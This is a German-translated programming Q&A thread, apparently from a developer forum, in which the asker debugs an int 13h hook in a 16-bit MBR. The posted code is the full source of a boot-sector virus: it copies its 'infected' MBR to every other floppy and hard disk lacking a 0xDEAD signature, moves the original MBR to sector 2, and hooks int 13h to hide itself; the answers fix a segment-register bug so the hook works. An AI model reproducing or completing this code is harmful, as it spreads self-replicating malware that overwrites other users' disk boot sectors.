2016-05-26 10 views
0

Ich schreibe einen int 13h Haken in MBR (16 Bit). Ich speichere alten int-Vektor als:MOV absolute Adressierung nach dem Verschieben

mov ax, word [0x13*4] 
    mov bx, word [0x13*4+2] 
    mov [oldint13-cpy_original+0x7e00], ax 
    mov [oldint13-cpy_original+0x7e00+2], bx 

Weil ich Code in Laufzeit verlegt, hatte ich richtige Stelle von oldint13 Variable zu berechnen. Alles klar und schön, wenn ich die Position der verschobenen Variablen altint13 überprüfe, gibt es die richtige Adresse (0xf000e3f3). Jetzt, nachdem ich int 13h Haken, möchte ich als Original-int 13h-Handler aufzurufen:

call [oldint13-cpy_original+0x7e00] 

aber es springt 0. Adresse Wenn ich Checkup tun mit:

mov ax, [oldint13-cpy_original+0x7e00] 

Axt wird 0. (oldint13 -cpy_original + 0x7e00) löst die korrekte Adresse korrekt auf und diese Adresse enthält immer noch den korrekten ursprünglichen int 13h-Vektor. Auch zerlegter Code zeigt:

mov ax, [0x7e48] 

was korrekt ist.

Warum in aller Welt gibt es 0 zurück? Gibt es einen Haken mit 16 Bits oder etwas?

Eine vollständige Kopie meines Urladercodes ist wie folgt:

[bits 16] 
org 0x7c00 


start: 
    cli       ; no interrupt zone 
    mov BYTE [bootDrive], dl ; save boot drive, this is infected drive 
    mov sp, 0xFFF8    ; stack pointer 
    xor ax, ax 
    mov ds, ax 
    mov es, ax 

          ; let's save infected mbr to location 0x7e00 
    mov al, 0x01    ; load 1 sector 
    mov ah, 0x02    ; read sector 
    mov bx, 0x7e00   ; destination address + ES 
    mov cx, 0x0001   ; cylinder 0, sector=1 
    xor dh, dh    ; head 0 
    call wr_sector 
    ; TODO: read from 0x7c00!!!! 
    ; now it's time to iterate through disks 
    xor di, di    ; our disk counter 
dsk_lp: 
    mov dl, [disk_codes+di] ; load disk code from our table 
    cmp dl, [bootDrive]  ; check if this is our infected drive 
    je nxt_disk    ; this is our drive, just go to the next one 

    mov ah, 0x02    ; read sector 
    mov cx, 0x0001   ; cylinder 0, sector=1 
    mov bx, 0x8000   ; load original mbr to 0x8000 
    call wr_sector 
    jc nxt_disk    ; if carry is set, disk doesn't exist (most likely) 
    add bx, sig    ; check if this drive is already signed 
    sub bx, 0x7c00   ; calculated offset for signature 
    cmp word [bx], 0xDEAD  ; compare with our signature 0xDEAD 
    je nxt_disk    ; if already signed, jump to next disk 

    mov ah, 0x03    ; dirty business, copy our infected mbr to new drive 
    mov bx, 0x7e00   ; we copied infected mbr to 0x7e00 earlier 
    call wr_sector   ; perform write 

    mov ah, 0x03 
    mov cx, 0x0002   ; write original mbr to 2nd sector 
    mov bx, 0x8000   ; we saved sector to 0x8000 
    call wr_sector   ; perform write 
nxt_disk: 
    inc di     ; increment our counter 
    cmp di, 0x04    ; we are over the available disks 
    jl dsk_lp    ; jump if lower than 4 

; now we'll copy back original MBR and jump to it 
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying 
; original MBR 
relocate: 
    mov dl, [bootDrive]    ; retrieve current boot drive 
    mov si, cpy_original   ; source address 
    mov di, 0x7e00     ; destination address, 0x7e00 in our case 
    mov cx, end_cpy     ; load end of code address 
    sub cx, cpy_original   ; subtract start of code, cx = code length 
    rep movsb      ; copy stuff from source to dest address 

    jmp 0x7e00      ; jump to new address 

; this code resides on 0x7e00 after copying 
cpy_original:     ; this code will copy original MBR to 0x7c00 
    mov ah, 0x02     ; read sector, ah = 0x02 
    mov cx, 0x0002    ; read 2nd sector 
    mov bx, 0x7c00    ; dest address 
    call wr_sector    ; copy orignal MBR 

    ; before we jump into org mbr, let's hook int 13h 
    mov ax, word [0x13*4] 
    mov bx, word [0x13*4+2] 
    mov [oldint13-cpy_original+0x7e00], ax 
    mov [oldint13-cpy_original+0x7e00+2], bx 
    mov ax, dsk_hook 
    sub ax, cpy_original 
    add ax, 0x7e00 
    mov word [0x13*4], ax 
    mov word [0x13*4+2], 0 
    ;mov ah, 0x02 
    ;mov al, 0x01 
    ;mov cx, 0x0001 
    ;mov bx, 0x8000 
    ;call wr_sector 
    mov ax, 0xaa55 
    jmp 0x0:0x7c00     ; far jump to the original MBR 

dsk_hook: 
    nop 
    pushf 
    cmp ah, 0x02 
    jne .end_hook 
    cmp cx, 0x0001 
    jne .end_hook 
    mov cx, 0x0002 
.end_hook: 
    popf 
    ;mov ax, [cs:oldint13-cpy_original+0x7e00] 
    call [cs:oldint13-cpy_original+0x7e00] 
    ;call 0xe3fe 
    nop 
    ;mov ax, ax 
    ret 

oldint13: 
    dd 45     ; var for saving int13 address 

; write/read sector on disk, based on 
; ah = 0x02 read, ah = 0x03 write 
; dl = disk number 
wr_sector: 
    mov si, 0x03    ; max number of attempts to read from drive 
    .lprs: 
    int 0x13 
    jnc .endrs     ; alright carry was not set, read was successful 
    dec si      ; decrement counter 
    jc .endrs 
    pusha 
    xor ah, ah     ; ah = 0, reset disk 
    int 0x13     ; reset disk, we have to try this at most 3 times 
    popa 
    jmp .lprs 
    .endrs: 
    retn 

end_cpy:       ; end of code for copying original MBR 


times (218 - ($-$$)) nop  ; Pad for disk time stamp 

DiskTimeStamp times 8 db 0 ; Disk Time Stamp 

bootDrive db 0    ; Our Drive Number Variable 
disk_codes:     ; available drives variable 
    db 0x0      ; first floppy disk 
    db 0x1      ; second floppy disk 
    db 0x80      ; first hard disk 
    db 0x81      ; second hard disk 
sig dw 0xDEAD 

times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table 

UID times 10 db 0    ; Unique Disk ID 
PT1 times 16 db 0    ; First Partition Entry 
PT2 times 16 db 0    ; Second Partition Entry 
PT3 times 16 db 0    ; Third Partition Entry 
PT4 times 16 db 0    ; Fourth Partition Entry 

dw 0xAA55      ; Boot Signature 
+0

Ich gehe davon aus durch die Verlagerung Sie meinen, dass Sie die 512 Bytes von 0x7c00 0x7e00 kopiert? Was ist 'cpy_original'? Es würde helfen, wenn Sie nur Ihren gesamten Bootloader zur Verfügung gestellt hätten (kann mir nicht vorstellen, dass es so groß ist). Zum Thema Umzug eines Bootloaders könnte man viele Kopfschmerzen vermeiden, indem man dieser Idee [http://stackoverflow.com/a/37379429/3857942] zu einer anderen SO-Frage folgt (bezüglich MBR-Umzug). Diese Methode würde vermeiden, die Anpassungen für variable Offsets vorzunehmen. Ich habe 2 Antworten gegeben. Der mit ORG 0x0000 ist am einfachsten zu betrachten. –

+0

Eine Sorge, die ich über Ihren Aufruf an den alten Interrupt-Vektor habe, ist, dass 'call [oldint13-cpy_original + 0x7e00]' tatsächlich 'call [DS: oldint13-cpy_original + 0x7e00]' ist. Ist _DS_ in Ihrem Interrupt-Handler korrekt? Was passiert, wenn Sie es mit 'CS:' überfahren? Ich vermute, dass Ihr _DS_ Segment im Interrupt-Handler nicht 0x0000 ist und wenn es etwas anderes ist - Sie werden die Adresse lesen, von der aus von dem falschen Speicherort zu springen. –

+0

Zeigen Sie Ihren vollständigen Code. Ansonsten raten wir nur, was das Problem ist. –

Antwort

0

Duplizieren von this. MOV verwendet implizit das DS-Register, das eine Zufallszahl war. Ändern es zu CS, die die einzig richtige Register im Interrupt-Handler @ Michael Petch ist nach:

mov ax, [cs:oldint13-cpy_original+0x7e00] 
+0

CS: IP wird gemäß dem festgelegt, was Sie in die Interrupt-Tabelle schreiben. Sie können sich nicht darauf verlassen, dass _DS_ so ist, wie Sie es erwarten (beim Zugriff auf Ihren Interrupt-Handler), aber _CS_ ist der Segmentwert in der Interrupt-Tabelle, die Sie dort platziert haben. Obwohl das Überschreiben von _CS_ eine Möglichkeit ist, das Problem zu lösen, können Sie DS = CS in Ihrem Interrupt-Handler setzen, aber Sie müssten das ursprüngliche _DS_ bei der Eingabe speichern, _DS_ auf das einstellen, was Sie wollen (0x0000 oder CS in Ihrem Fall) und dann stelle es wieder her, wenn du fertig bist. –

Verwandte Themen